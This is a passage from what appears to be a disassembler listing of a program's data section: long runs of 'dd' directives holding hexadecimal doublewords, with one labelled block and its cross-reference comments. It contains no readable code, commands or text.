0B30A98FEh, 0E972635Fh dd 0FFFC2F6Fh, 0C6500F30h, 0CD506717h, 0FB083A17h, 37870808h dd 0C3B9B05Bh, 0BADF720Eh, 10B8FFC4h, 0BA1CBC03h, 3B4B8FEDh dd 0BD6A710Eh, 80086802h, 0FF52FA97h, 3180685Fh, 0C63F544Fh dd 0A6840FBDh, 1472A33Ah, 0FFFFFFFFh, 0D9D08B0h, 25A2601Dh dd 0C9A2A0CCh, 0D4AD80BBh, 1FFFFDC3h, 516CC58Dh, 0D0741DB9h dd 0A1F49EBFh, 0FFFFFFFCh, 9D68D7FFh, 3CBC5361h, 1C3D6174h dd 916F5A73h, 0AF47FD05h dd 0A000257Dh, 4B199106h, 0FFFFFD68h, 0BD474BFFh, 8B3A432Dh dd 0DC4C13B5h, 0A1A256F8h, 975F42Dh, 0B0009981h, 6E09AD6Eh dd 0FFFFFFABh, 951E77CBh, 504F356Ah, 6D8ABA53h, 0F0303AC1h dd 409F0460h, 0BF5631Bh, 0FEAD5B32h, 0D55B7F0Bh, 0C8E0307Fh dd 207E831Fh, 99820F28h, 0FFFF92D7h, 8EE3EDFFh, 0FFC90DDDh dd 742C5E38h, 0FFC4921Bh, 7D617FF6h, 2C06D010h, 8B02752Eh dd 0FFFF40C8h, 0D238897Fh, 0CB3BE975h, 0DA88057Dh, 0D34BEADEh dd 0F6A1BEBh, 502D316Bh, 5FFFE870h, 796DFFEAh, 90BF9A66h dd 38E1A009h, 0A652111Fh, 3E22357h, 0D750A00h, 0FFFF6181h dd 9770FFFFh, 0AE454A0h, 6A52F587h, 1559BD8Bh, 45B46844h dd 0F8273141h, 0B9AEBF57h, 0CA5A88Dh, 8DFF4034h, 0D601FFDAh dd 0E17DE944h, 5B63B61Dh, 0B229C49Dh, 0E3608599h, 0FFFAB359h dd 0C016FFFFh, 47232472h, 4885C89Ch, 0D03217B6h, 0D8127274h dd 6590B0AFh, 8C59E05Fh, 2FB6C90Fh, 0E637E055h, 2E438112h dd 6C14ABE8h, 0FFFF60BFh, 0B7BEFFFFh, 0F4212174h, 64CEAECDh dd 444402A6h, 0FD5B21CDh, 4639850Dh, 0EB357720h, 0D508DB0Bh dd 0FC2F3382h, 0A1C0FFFFh, 7D84F613h, 6D463A57h, 1B580A51h dd 0EE0F016Ch, 2727E90h, 598F1F1Ch, 0FFFFFFFFh, 5B64735Fh dd 6C076992h, 7E360C1Bh, 0C9E3AC0Ch, 4EA511D0h, 99CE132Ch dd 1601F18Eh, 481D8B5Ch, 0FFFFFFF4h, 30E08585h, 0BB2BECF6h dd 0BD8D08D3h, 0F7B04F0Eh, 80492785h, 1274DC3Ch, 27C4F868h dd 0BDBE05FFh, 1570F65Ch, 0C11FCC1h, 0D108CFA0h, 0A468B0h dd 0FFFF76C8h, 0E63DFFFFh, 5959D028h, 501B9D2Ah, 0F5D82375h dd 0B4319351h, 756AFF1Fh, 5980A03h, 9323EEE7h, 6FC66DC3h dd 9D3FF85h, 1ECC39B4h, 0A3A746C0h, 0CCBDEE74h, 0FFD5693Ch dd 18837FFFh, 4619AC74h, 911EF96h, 0D9119ACEh, 0C690D916h dd 0CC91BF50h, 0FC1B8FC2h, 0D84DDBFFh, 7410A5B7h, 294B6A1Eh dd 6BAC3763h, 0D22248F2h, 0F56F7EF8h, 57BBFFFFh, 941EB60Ah dd 162D7110h, 57BF4C1Ch, 0B7953D8Ch, 55445CB8h, 0FFFF2758h dd 0F04BC40Bh, 0CC8C1Eh, 0E09B2253h, 7C53324Ch, 0D6F33BC0h dd 0FFFF5B3Ch, 690B8DFFh, 0C4FECD24h, 0C1337B33h, 0E0841D2Dh dd 5F0230E6h, 0CFD30E57h, 602A42D6h, 0FFA17FFFh, 8BC3BC52h dd 1AFBAF35h, 746CD980h, 231A051Fh, 6C37C404h, 4D88AF00h dd 0FFFFFFFAh, 6C4475D1h, 4BFBD6FFh, 5F686DB4h, 0C7E06807h dd 478B78EBh, 0B1B13764h, 604FBADDh, 0FFFFAB76h, 3970D2DFh dd 3A702364h, 0A4B62138h, 59AD92E0h, 5FF6037h, 1BADF6Eh dd 7FFFFFF8h, 44532573h, 3E141873h, 0E0055488h, 0A5DB1C38h dd 553E8AD8h, 0E8721346h, 0FF067640h, 0B9B7FFDBh, 2F3409B9h dd 4583F918h, 2B99BA65h, 0B67564A8h, 96718CE5h, 0FFFC8CC7h dd 0B58AFFFFh, 7C14746Fh, 71835FE8h, 0A574C583h, 0B84958h dd 0FC684146h, 0A8F13675h, 196894h, 6FFFFFFFh, 66CAE82Eh dd 21A80B1Fh, 6C1CFE80h, 751C2CC1h, 2EA86A4Fh, 9DC1A501h dd 88DB819h, 2FFD4BAh, 8774F62Ch, 58933DB7h, 84F5341Fh dd 0FFFFFF49h, 189BB85Fh, 74229D38h, 0BF2E2A0Dh, 2DA43C23h dd 0B8930214h, 788D892Ch, 459F6322h, 0FF46A935h, 48B8FFFFh dd 0DBA3B899h, 90BD3D6Ch, 5E84BEA8h, 833D41BBh, 0FDF03CB1h dd 0FF9CDE56h, 6BFFFF1Bh, 139C0F32h, 0C698EF50h, 0D91B4558h dd 9E049B30h, 1B2461F0h, 92319B9Fh, 0FFF817FEh, 99490C71h dd 0C3B92D08h, 1A530A2Eh, 0D71719D7h, 0DEBB2596h, 0FF1250B8h dd 88B7E85Fh, 0D9E336A5h, 56A5CB2h, 6B48696h, 3FD1839Dh dd 0FFFFA302h, 309FF5Bh, 8A491B77h, 0D5BABEE8h, 0D92F7BE6h dd 920FB7BBh, 0B9B26BA4h, 0C9D8ADFh, 0FFFFE37Fh, 17B96468h dd 0EC61BF9h, 6624DEE9h, 430FC60Fh, 5B7B2600h, 9C4332F8h dd 0FFFF8D4Bh, 456AFFFFh, 0A71E73EDh, 6CAE4468h, 6B1FA0D6h dd 272CFE40h, 5172BFCh, 5EB77C5Ah, 94668391h, 0FF811438h dd 6F2AFFFFh, 0C41C73C2h, 356FF6C6h, 0ABEE7D8Dh, 2066AABh dd 4166FA01h, 29768DD3h, 746F817Ch, 19A04B92h, 0FBF5F3BFh dd 0A91FA4BDh, 2FFE8DFFh, 0A808CF67h, 6669506Ah, 0E56FB70Dh dd 981EDCECh, 6AEE0E66h, 0D6FF6FFFh, 538D8D10h, 3D3E3659h dd 0A6E8299Eh, 3D174010h, 5621114Ah, 6FFF734Eh, 180BFFFCh dd 5EBB9002h, 0C1A1161Ch, 0C0C5A269h, 5BB0CBA9h, 4141710Fh dd 18424B94h, 0FFEDFFFFh, 0B2440A42h, 26AC6E67h, 52B06808h dd 74BA66D8h, 3871572Ch, 7866D57h, 6CE293Bh, 0FFFFFFA9h dd 5E00FCC1h, 0BDCDED19h, 0F6408C18h, 24741520h, 0E5FA3B04h dd 187419E5h, 0FFFAEF50h, 0E46E625Fh, 0EB817CA1h, 0CFCC0A13h dd 678A1DFh, 574A10Ch, 0FFF42FA1h, 5CC6F85Fh, 3A36561h dd 800DC8D0h, 7E96B518h, 8BB4C914h, 2DF0B625h, 715F12FEh dd 0E7493A3h, 0C2819969h, 0C6FFB745h, 0F2E6BFFFh, 0C17F275h dd 0CD70168Dh, 0A038EB3Fh, 57360B25h, 0ED66DEFEh, 0FFFF855Dh dd 0A72ED5BFh, 635553EAh, 2623441Dh, 8A0C3E23h, 740D2716h dd 0E1892858h, 7FFFC1DDh, 88E1FF8Bh, 0F143EBFh, 0E2BCD486h dd 9BED9006h, 0CE525A85h, 46B70FC3h, 4BFE5002h, 0F12CFFFCh dd 0BC990A85h, 1076D283h, 0BFABE183h, 8E3C046Ch, 1A0C4F0Bh dd 0FFE0A5C0h, 0F0401ADh, 0E26CA4BFh, 2BB755BFh, 0FFFF1FD9h dd 7818A17Fh, 0B6EB2387h, 85F87D87h, 0C76D086h, 49797510h dd 8B6DB347h, 0FEDEC050h, 0E809FFFFh, 700B0702h, 1E1BB605h dd 0F80C15FDh, 82DD08C9h, 0C325BB9h, 3406DF05h, 0FFFF4513h dd 0BCAD3F17h, 0DBB42CFDh, 0C5243A74h, 0B21029EBh, 2A7C8C8Ch dd 0BFFFFFFFh, 0EBE31D46h, 0C70F132Eh, 7B181153h, 41B49AAEh dd 3D8378ADh, 0EF81FE60h, 0E1374234h, 0DBFAB227h, 1C1EEADFh dd 56AB98B4h, 24561B32h, 2C9EBA52h, 25BEA0D5h, 32DC6FFEh dd 34E8A0BFh, 0F300E462h, 98EB7A8h, 0E36AC2C4h, 8B23FFFFh dd 2E6C1F3h, 82164F8Dh, 0B3A38715h, 0CB1D3B47h, 0E9B7EA68h dd 0BBDFFFFFh, 6C08E0E2h, 0B75DB30h, 2698B89Eh, 0E7709C7Ah dd 6462A5C8h, 20E1B0FFh, 7FFFFFFFh, 45CF60A4h, 0A19D6EBh dd 0DC7F08A6h, 0E674F742h, 5057E4EDh, 864B08C3h, 2E4D2C8h dd 0FFF0461Ah, 0CBD0897Fh, 3CAD93C0h, 74C44AE4h, 374832B5h dd 98F871B2h, 0FFFFAC14h, 0B812FFFh, 0C4F4C774h, 0B9341D68h dd 9681B757h, 0A33C398Ah, 0F1575E8h, 4CCD6CF0h, 0C5BF824Ch dd 7CF0FFFFh, 11B0EE02h, 32701AABh, 0B35E4068h, 157205BDh dd 5C0D32D3h, 0A360D707h, 30DEE217h, 0E331130Bh, 0FFA652BDh dd 435A97FFh, 0E6A55083h, 0A91B67AAh, 1311910Eh, 6C635980h dd 40A541B6h, 0FFF8156Fh, 0FF25C83Dh, 0FA7D0586h, 0AA1B0ABFh dd 682DB245h, 0FF1B2546h, 7868EDFFh, 6CB3A09h, 6348C6CDh dd 5C27B86Dh, 0C06E1535h, 36B6D42Ch, 0FFFFFFFFh, 0BCE05445h dd 0D561ACB5h, 89042837h, 1807EB06h, 0CF0E9E90h, 0B5603340h dd 813E9CDDh, 68F81607h, 0FB7FC5BFh, 682D5743h, 0EB073E88h dd 856F690h, 0C1994694h, 0D4CB18C1h, 0FFFFFFFFh, 79010401h dd 0F121895Bh, 0DBE65740h, 0D1A00A78h, 1A483823h, 0AE6DAB51h dd 224A2101h, 6AB1C866h, 0AB7FFC6Fh, 0A564E673h, 0E00C56DCh dd 8B5EFC61h, 0C5C5BC3h, 0C2FFB202h, 6990FFFFh, 0AA5140E0h dd 6C59EC9Ch, 37F25AABh, 5053149Fh, 582F9091h, 56509221h dd 0FF8374BEh, 0AB9DD00h dd 99A3AE02h, 0E45906FFh, 0CA7426Ch, 0FFFFF89Ah, 3F6E8A37h dd 8973EBF8h, 0FDF44407h, 0F1229CB0h, 6210CD98h, 0ACC4B9BFh dd 0FFADFF45h, 19F8B317h, 0B248BBE1h, 0FE8302BAh, 14DC5675h dd 6146B7Bh, 0FFFF3F4Ch, 7251C4BFh, 1210D4C3h, 0A1848D87h dd 0B0092410h, 488B8138h, 0D45D7AA1h, 0FFF89E4Eh, 70A0A5FFh dd 22D85A1Ch, 2D0A9AE4h, 776763AFh, 245D9FEDh, 48271754h dd 0F42FA975h, 3F9B97h, 0D63081CAh, 855514BFh, 0BFFF6964h dd 0DA097FFDh, 9D264331h, 3BD93138h, 2C31D859h, 86EF875h dd 44C266D2h, 5CEB0E09h, 0FF85FFFFh, 6CC0D746h, 4214ED0h dd 81806CCDh, 744FD6DBh, 0D1DA03h, 0AECC0387h, 0BBFA9C2Ch dd 0B232FE37h, 25F32E39h, 0DCE09EE4h, 0D4D80032h, 2E02CCD0h dd 0BF12F58h, 0E5F18D34h, 54283560h, 0BE8E73BAh, 0E05EB756h dd 0E777C2C0h, 6D03D18Bh, 5508BD76h, 82FFFFFCh, 17EB70A4h dd 0F981693Bh, 941F72D3h, 0DB858EFCh, 2D024EDFh, 0BFFFFFEDh dd 0FE683A7h, 0B35F5E24h, 52AEF51h, 0FD4F2269h, 0BE8BC7F7h dd 97A2A980h, 0FFFFE660h, 5CB312FFh, 7FED85BEh, 0A5F32A72h dd 249524FFh, 51906A3Bh, 0BC831DBAh, 16FF837Dh, 7C05FFFFh dd 3E05E72h, 8518C803h, 0ECD73A38h, 3496ADCEh, 483AB807h dd 0BFEB604h, 37FFEDFDh, 2398A35Dh, 88068AD1h, 880146EEh dd 2050147h, 0FFFF0B19h, 57E6DEA5h, 0C7C65A08h, 0B195CC5Dh dd 498D2765h, 0B6C3252Bh, 0FE8DFB7Dh, 0C783B9E4h, 0E623A602h dd 0DB3C81DDh, 61B2943h, 0FFFFBA08h, 3C944ADFh, 0F03AF800h dd 34E007E8h, 0D869BFCDh, 0E48E448Bh, 0E48F4489h, 0FFF77FFDh dd 34D3E8E8h, 0ECECD34Dh, 2BF4F0F0h, 0F8F8F409h, 6D8370FCh dd 8D047744h, 0FFFF00FAh, 6C191BFFh, 0E9AF868Bh, 3CF4FFBEh dd 115C4803h, 3664745h, 90C20B7Bh, 43FD0BA1h, 0FFFFFFFFh dd 11C17042h, 410E11A3h, 2B30FB78h, 6731748Dh, 84FC397Ch dd 92F6DD9Fh, 0E3FD0D24h, 3CC077FCh, 0FAB7F46Fh, 10E4D9F7h dd 708D4D22h, 0EF9933Ch, 0C42BE7E8h, 0FFFFFFFFh, 0D4902C3Bh dd 9B0AD607h, 0C2003EBh, 6F3E036Dh, 0CF25BD51h, 5A01EEEFh dd 4FB201EFh, 8612EE9Eh, 0F52FFFFFh, 29EEAB23h, 6CB7845Fh dd 24279040h, 0CAF1B0B3h, 0B2032D96h, 0BAE95675h, 0F5BFFF77h dd 5B4C730Bh, 84037C16h, 0A69A69B0h, 0A49C948Ch, 8CB13CB7h dd 0FE541C9Bh, 181CC4AFh, 1014BC03h, 160C0C10h, 6FFFFFD2h dd 404066Fh, 231330B0h, 3D805D0h, 0B63CFCE8h, 9B96E704h dd 0F8BB5B7h, 9752FA61h, 610B60FEh, 6BB1387h, 4491032Ah dd 24696668h, 1706F85Fh, 0E413D072h, 0AFE8F1F4h, 0F1437588h dd 1BFFD653h, 72599EFFh, 3F14A2AEh, 0A25945A2h, 3950D5ACh dd 42542252h, 0DBFF5DBDh, 0A585FFFFh, 672D1A67h, 37E1E4FDh dd 3E05072Dh, 180AEBB6h, 47C359C6h, 0A11DD8D8h, 0FFFFFF67h dd 70ECFFh, 19167524h, 0F1BB2F51h, 47900105h, 59069D50h dd 0C86D6B07h, 8D155FB7h, 914E7580h, 0FFFE859Dh, 0BBB647FFh dd 8DE4353Bh, 5B8C2277h, 0DB66C9EBh, 0D1E57F80h, 0E27D45E4h dd 0BFF16F63h, 6D6B14D1h, 9F870FE0h, 0FEE0282Bh, 8304FA8Bh dd 0FFA37F32h, 0FEEE99FFh, 8B939FC5h, 65D875FDh, 61E6A7Eh dd 58B9DE63h, 0D8382776h, 0FFFFFF61h, 103DD02h, 0AA57706Eh dd 0FDEE3B0Eh, 7EA8C58Bh, 50FA985Bh, 80C11EEBh, 6FF81655h dd 3B9F6FFFh, 0D56B6DD2h, 19753E61h, 0E8B747FFh, 0E70FD1CCh dd 8DFFF46Eh, 0FDD3ECDDh, 3FFFDADEh, 5392675h, 5FD411A8h dd 25FFFFFFh, 0C16532A4h, 0F128476h, 24881BDh, 76063889h dd 0C308A3F6h, 5921C35Dh, 0B8DFF14h, 0CD6D96FCh, 0EC00C73Dh dd 91D51571h, 0EC08D829h, 0FF0DCE0Ch, 4BFFFD4Bh, 69C5D6C0h dd 84A18A1Ah, 0EBB814Eh, 0E056A19h, 3A66F405h, 412E9695h dd 5FFFFFFh, 3FFA8338h, 0C6D75731h, 72641AADh, 7D72B0Ch dd 0FEF9A95Ah, 0FFCFE9DBh, 2760F42Fh, 0E1CA1006h, 0E8872177h dd 58ABF3FEh, 0FFC3270Ah, 58DFA5Fh, 5F60EAB7h, 79423C3h dd 68107927h, 1E085DA0h, 78EC0C0Eh, 46FFFF89h, 59B4F8C8h dd 0A523316Eh, 0EDF23182h, 12530CEFh, 2A854522h, 0B7FFFC1Bh dd 9E932A60h, 0B8216D21h, 88DA1286h, 0A1CA0D8Ah, 0E1FA97C3h dd 53FD5BFFh, 1C3FE056h, 9E3F9504h, 0F05649EFh, 4648E2CFh dd 0FF650C59h, 897EDFFFh, 35EBE45Dh, 0F796DF83h, 8B27742Dh dd 0C6A6FC43h, 3166E372h, 0B0C6D0DAh, 0F897FF75h, 4F34E4FFh dd 0E8CC4D6Dh, 0D6A1534Eh, 0D0217939h, 0F727BC2Eh, 46F60675h dd 0E97FFF89h, 0E67A3FFh, 223AE1A3h, 990708F0h, 66720442h dd 0E0082053h, 0C18CBCB2h, 16EF144Ch, 30FFFB7Fh, 0E32FE07Ah dd 0F731DDB2h, 53544601h, 0C186E120h, 74281630h, 0FFFFC4BFh dd 406E9434h, 0D99C4A0Dh, 9ABBF85h, 3D395C7Fh, 0FA56991Fh dd 8362DE42h, 0B8FFFFFFh, 25E8282h, 6C75E0B6h, 90BA1AF9h dd 5F845926h, 0CF62833Bh, 74249878h, 0FFF4BF44h, 8971EB7Fh dd 0CAC4D1EEh, 8856EB80h, 70DC6068h, 0B5743492h, 7356CD76h dd 0F1AADFD7h, 0A4D8DFFh, 0E6E91243h, 10B13FAFh, 5CCED421h dd 17321A88h, 0A4FF56F8h, 833C7D71h, 0E6A15BE8h, 0EB15E565h dd 0FF27A2BCh, 6FFFFFh, 14B94998h, 645CDDD5h, 20A331F4h dd 35365B5Ah, 84BFEDFAh, 74313B30h, 0FEB60F7Ch, 30A5FFFFh dd 74F32BE4h, 0AD761515h, 0FC4BADEh, 1B5CC49Fh, 850A18FFh dd 0D6C40B69h, 37FF0BFAh, 86701B05h, 264E6959h, 0DD2001B0h dd 64E69A02h, 0AB7E2702h, 1138DE37h, 98BAD7CDh, 94224F6h dd 70FEE9A4h, 2DFA5FFFh, 74047139h, 4C184D7Eh, 0D9C8DD20h dd 5200503h, 0B604C9B8h, 0D2FD6FFFh, 9706069Ch, 7DDFC79h dd 372078Fh, 66902608h, 49000864h, 0D6F6F897h, 9094C3Fh dd 0E6905028h, 0CB9E0A0Ah, 4B897D73h, 0E2660AB7h, 81395B02h dd 0C4D0C3Ah, 0DFFFFFB9h, 1B52E80Ah, 980D200Dh, 9A40993Bh dd 0F770E0Eh, 2991968Fh, 5D520FA4h, 10CBFFF8h, 597DD610h dd 4D103010h, 604C9C29h, 641111CDh, 0FBBF1912h, 3435BFEDh dd 1E7121Fh, 23CF2C13h, 1401C213h, 148D7714h, 9D99144Dh dd 745BDDF1h, 78D5158Ah, 8F11CD16h, 17175716h, 2F4B897Fh dd 32214CE2h, 451327CDh, 9184D18h, 0FFE91919h, 207177E6h dd 1A00E819h, 1BC71ABAh, 0F2F71B8Fh, 0A2429Ch, 0BADB7EF2h dd 0AE2C9E55h, 0BF084DE3h, 39A61C7Dh, 0DF6FFFFFh, 601D1D85h dd 900EE61Eh, 1F83431Eh, 0FFC0B81Fh, 3227521h, 2BCA03C2h dd 0FFA97AFAh, 86A93042h, 536DC7FBh, 0FF0B6315h, 16FF8731h dd 0BC145FFFh, 622179ABh, 0C65755BDh, 80F23994h, 1BEDB7CDh dd 0EDE4510Ah, 74FB7FFFh, 6DF24D71h, 0D2F22B06h, 3F9669AEh dd 12548DC2h, 1CE5D5F2h, 0F05069A4h, 0E5FADFFFh, 29E6E6B8h dd 0E79B0370h, 707365E7h, 5F762B08h, 9216E882h, 0EDFE1BEEh dd 7D742F2Fh, 271548E8h, 4ECCEB96h, 0E920E94Ch, 552D9309h dd 0EAEEFFE0h, 3BE40CEAh, 0E7EB8EEBh, 604EECFEh, 0FF4F2C87h dd 316C2FE1h, 46E94EFEh, 9EED20EDh, 7DEEEE4Fh, 776465EFh dd 0AFDB817h, 58EF8EE9h, 90E4D3F0h, 3A39306Eh, 0BE0FF1F1h dd 0F2EDA5E1h, 0F24CC8CDh, 69F3F3DEh, 0F4FDC991h, 0BF8668F4h dd 0EB38DFE1h, 0F43005DAh, 0E6DAA04Dh, 7F20F5F5h, 159AE1F6h dd 0F6F0FC0Ah, 4B1EF75Eh, 0A4FD39F7h, 0FF9BF043h, 4CF865BFh dd 0E466F911h, 0F920D204h dd 0E9FAFCF0h, 8EFBCFFAh, 2A34C9FBh, 0AAB6DB7Ch, 6F7400FCh dd 0E56722DDh, 5AA5FFFFh, 5CD3E47Ah, 0FD46D749h, 0FE1BFD1Ah dd 4D212A6Dh, 75BA13FEh, 0C293FFA9h, 0DEEE5FEBh, 0CD402A75h dd 0C94D2BFFh, 0FFF81785h, 4C8DB817h, 532B9D09h, 6C71C12Ch dd 96435B05h, 4B475585h, 0E17FFF46h, 0F7E3E313h, 0D1E3B027h dd 20E4FBFDh, 327348E4h, 1784DC81h, 8F02FFEh, 0FC482693h dd 9ED90E13h, 0E7FB9647h, 3AC21D8Eh, 0F0B817E2h, 6E4CC099h dd 9A392DABh, 0FB2CFB4Dh, 5BB7FFC8h, 8E85305Ch, 996BEB59h dd 0DF4CEB76h, 0E400ECFAh, 0DFFF7250h, 0BE0AFFFDh, 96FA9DFAh dd 8EB614E7h, 0EFEFFA78h, 4CEF43D6h, 250EF050h, 2F00B0A7h dd 0BFF0EFAh, 0F8FAB7FFh, 0E98E4B61h, 272F3F9h, 4C07643Bh dd 2192F9C1h, 51FF29A4h, 0EDFFB636h, 165853F9h, 0F65A6EF9h dd 0F99E591Ah, 3C0F00F7h, 0F06FDDD6h, 0F8313237h, 0A1C96100h dd 0F8EFF95Eh, 0CAEC211Eh, 0EB7FFF12h, 0EFBFBF8h, 4CFBD813h dd 0FC20FCA2h, 8133ACB6h, 0FF810681h, 34F46C1Bh, 0FE1D5727h dd 3B3635D2h, 40124924h, 0FFFF2471h, 9612FEEFh, 167E006Bh dd 0E21B61DFh, 6EE2E2B0h, 72358539h, 2CE3F7F1h, 5842F7D0h dd 6FF32872h, 0F7AFFFE1h, 0F6C8763Fh, 0E6F78A9Ch, 664CF78Eh dd 6C2CE762h, 7E1B0BC5h, 0F720F741h, 0FB77988Eh, 26B0E5F6h dd 0EF1DC28Fh, 0F6D384BEh, 0B2B94B2Ch, 0B7F691F6h, 0DB6C8E61h dd 0FF0DFDBFh, 62C23C9Ah, 1F64438h, 0F6232CC2h, 5CE5F602h dd 0F5DD8E2Dh, 0DBF6D4F2h, 585793FFh, 0B538F29Ch, 0C99287F5h dd 73F5942Ch, 0E9AC46F5h, 77BB7FFFh, 7B22F54Eh, 0F6F62C8Dh dd 7674D3Ch, 2C256759h, 1AF82004h, 0C37FFD2Dh, 0F4E3F8BDh dd 1E1939F9h, 0E4FAF4BEh, 0FA931611h, 0FFF49638h, 81ADF97Fh dd 0F4752C8Ch, 0F454299Ah, 0F9662F8Eh, 8FDDAB7Ah, 349066FEh dd 0FFFFFFA5h, 3EF7F484h, 6E516151h, 0D60F70A6h, 0D5D84FFBh dd 13302D82h, 0E23D1F03h, 0FFF8CBA4h, 5459EEB7h, 6BFF00E1h dd 0E2F30B91h, 4392C241h, 8EF3AFC9h, 0DF4C54F3h, 806C2FFDh dd 58C2F369h, 79584793h, 2541F341h, 0FFF32096h, 0BFFFB2F2h dd 863C85FDh, 0E9F2DA8Eh, 6AC694E9h, 96F2B27Ah, 913ACA1Ch dd 0F27041F2h, 0FFFE1B6Fh, 0C2991964h, 0EDED4B8Eh, 0D5847928h dd 0E1F2237Ah, 0E1170275h, 0FCB864F1h, 39E3C2FFh, 0F1F1BCE2h dd 5E4F13Ch, 707B55D2h, 0A1D6F193h, 5EE8DDBFh, 0F151424Dh dd 0F1A5B0BFh, 9356BEF5h, 17047AF5h, 0F1FF0BF8h, 0A1C848B2h dd 176EF0E3h, 0F0C2BC96h, 0AB659D8Eh, 0D5BFF6C9h, 0C3F9F2DBh dd 8C50EB28h, 41F054F0h, 725B0A75h, 0FE261833h, 0A40EC6FFh dword_40D7B0 dd 4596BE4Ah, 0CA84DD12h, 3C59E815h, 0FECCC21Bh, 0C7FFD0BFh ; DATA XREF: .data:003E4C78o ; .data:00417478o dd 51FD8C87h, 0C22B1610h, 0F766B73h, 0EDB840D1h, 561F4107h dd 0D2FAA401h, 0C03797ADh, 73EECC20h, 3AB478Bh, 0DFF4EBDh dd 4A47142Eh, 0C9E09BDCh, 0C2E48765h, 0A5751188h, 68FFD28Dh dd 0BB3F6584h, 804B1CB2h, 2A3454Eh, 0FFFE2D7Eh, 4E201CFFh dd 0A8467501h, 0CEB101B4h, 0A02D30B5h, 7FB71009h, 0BFD07281h dd 0EADADFD4h, 4049FFh, 0F2034DE6h, 5BA69B51h, 57CD5658h dd 0B8558463h, 72F4BFC5h, 0DF2E5CB9h, 50D34CC7h, 5C6554F5h dd 0EDFF58CDh, 65D65FFFh, 2CD347C9h, 4BA9CB97h, 53D64FB5h dd 36201A3Ah, 0AB47264Dh, 0FF4A8B46h, 97D6FFFFh, 72CD334Eh dd 0FC2852B8h, 1B280849h, 9F917354h, 6FC6E1ADh, 46FDBE5Fh dd 0FFE8DC0Ch, 637500FFh, 5875ACE8h, 6C484689h, 68040E89h dd 7E0A4E89h, 0FF8B04D8h, 0C64BFFFFh, 0FD69680Dh, 840D8B12h dd 0A1B82968h, 704811DEh, 0E3718175h, 6CBB9F89h, 7FE25FEBh dd 5A87E81h, 161C6788h, 81F080Ah, 0B2DDFCCFh, 0FF8B7F6Ah dd 1504A4FFh, 27040F6h, 2831475h, 0DBEA2E62h, 8B7D017Dh dd 4405908h, 0FFFFFF1Ch, 3CD4C6FFh, 7A043C10h, 0C0F09910h dd 47B85F0Dh, 83F02BD1h, 1BCACB8h, 8474137Eh, 6AAD0760h dd 0FFFC4B08h, 157822FFh, 5BF407A0h, 8B10EBCBh, 6FFDC880h dd 0D45FC04Dh, 0A7834804h, 0F85FFF80h, 0F80F4846h, 0A646183h dd 3DF38C1Ah, 0DCE9AACCh, 6C5B6F6h, 12FFFFFFh, 0B95891D9h dd 7E024128h, 0BDC3AA87h, 0E8534849h, 49B59073h, 17681677h dd 85FFA97Fh, 7AEE2750h, 192DB712h, 7C22DEC2h, 2C064314h dd 89712FD2h, 7E412AFFh, 64FA8ECBh, 809F18ECh, 8CBED4E8h dd 0FC5BF139h, 0F412E1FFh, 5473DE3Bh, 4B983A0h, 0BEBDDC14h dd 875301E8h, 0FFFFFF17h, 818BC52Fh, 0EE968B6Dh, 8F0158D9h dd 0DB3B100Fh, 18CC938Eh, 98504A5Fh, 6C87D2F4h, 0DFFF83DFh dd 9860ADEAh, 0E05D133Ch, 381131E8h, 6B89B7DEh, 0D1797DC1h dd 5A7E97FFh, 46E7DB9Bh, 7C3A502Eh, 138A12CBh, 46FFD16Ah dd 0FFFFFFC0h, 5DF90ABFh, 0FE45C6FDh, 15EB5900h, 6748B65Eh dd 16542AE3h, 4100FDFCh, 0E6FFE80Eh, 0FFFF9851h, 0D706FFFFh dd 6AF8558Dh, 6B515203h, 6D8BED88h, 4CB070D0h, 7224AA88h dd 0A91A2955h, 0D7FFD5BFh, 540B286Fh, 0D525E897h, 4D2A6845h dd 0F0F3E1F9h, 0FF56F871h, 0BF8657Fh, 0F03FA6C1h, 0FE415B5Eh dd 3A2E7D05h, 83119E48h, 0DA97FFFFh, 127A7B43h, 0CF4A493Dh dd 828D0F4Ch, 8AB3451Bh, 42DD3211h, 0FFFFFCA1h, 8410FFFFh dd 8A6F74D2h, 0CC840171h, 1419F758h, 80BA9600h, 983A118Ah dd 0B3AA5B17h, 0C50D9437h, 0CBFFFFFh, 66F3F10Ah, 501B67FFh dd 0C612C385h, 7E8DE975h, 2618AFFh, 0FFF4B5DDh, 84F7B06Fh dd 3A02284Bh, 8ABE75C4h, 8A183544h, 7B5D5F66h, 6FFFFFFFh dd 7410C178h, 31ABEBDFh, 7DCB8A36h, 0F725BC23h, 0FF478D32h dd 5C7BC0Ch, 0C23720C7h, 0FFD5BA17h, 39BB406Fh, 1D750C5Dh dd 46535325h, 0F7160599h, 0FFFF0BFCh, 19517268h, 0EB08112Eh dd 0D528684Dh, 0DCBBB152h, 8A38614Ah, 10245AA6h, 4BFF46FFh dd 0A22DED7Ah, 224840A1h, 0CA86587Fh, 7F3442B3h, 0FFA19BEBh dd 0E44DFFFFh, 0C478F08Bh, 0BD8DD953h, 0EB1888E0h, 7DFF5327h dd 0B05439EAh, 0CC2B06B0h, 7EDAA195h, 0DFC7D577h, 776E463Ah dd 0BFFEA5FFh, 0F757EB5Ah, 7505ADC1h, 83740B01h, 0BACF97CAh dd 103DD401h, 837FEF75h, 11FF02Fh, 7E1CFFBAh, 1283D003h dd 33C90BB7h, 0E85F1EC2h, 0A904F12Fh, 0E8730118h, 0DCFC418Bh dd 23285066h, 0FFA91A11h, 0A9FFFFh, 0BC060E3Ch, 7D196F6Dh dd 798DCDF4h, 0FE040DC6h, 583C08EBh, 0C0FDBCB7h, 7E142FE3h dd 630C64FCh, 78DD161Dh, 886688E1h, 0FFFDDF17h, 16B07F8Eh dd 0EBEA3EEBh, 726BEA05h, 4DD0DD6Dh, 6F118B76h, 0B73431E1h dd 0BFFADFEh, 6D00C283h, 126D8DECh, 0CBC76E07h, 442367ECh dd 6DC60866h, 93951BF5h, 37B00876h, 0FFC6D82Ch, 5BFE97FFh dd 390E1C00h, 54E2464h, 3B2D3D13h, 32FF061Ah, 49C97088h dd 0FFFFFFF8h, 55411324h, 2D6C932h, 0FDFE09D1h, 4C98ECA3h dd 70E8C5FCh, 271D01F0h, 0B81E0560h, 0FFFFFF04h, 246DF8B7h dd 3D81C720h, 0F75B00B8h, 5A4DFDDBh, 3CA13375h, 0EB88108h dd 22AD4550h, 0FFE2DFFFh, 54B7B81Bh, 0B189A2Ah, 0C674B1ACh dd 0E74BDD8h, 39750E76h, 0F0AE888h, 0FFFFD5BFh, 1DE0295h dd 6A9789D0h, 0AC06860h, 0EC495A36h, 642087h, 18A0DAADh dd 0FFA978B7h, 78BF65B4h, 174070A1h, 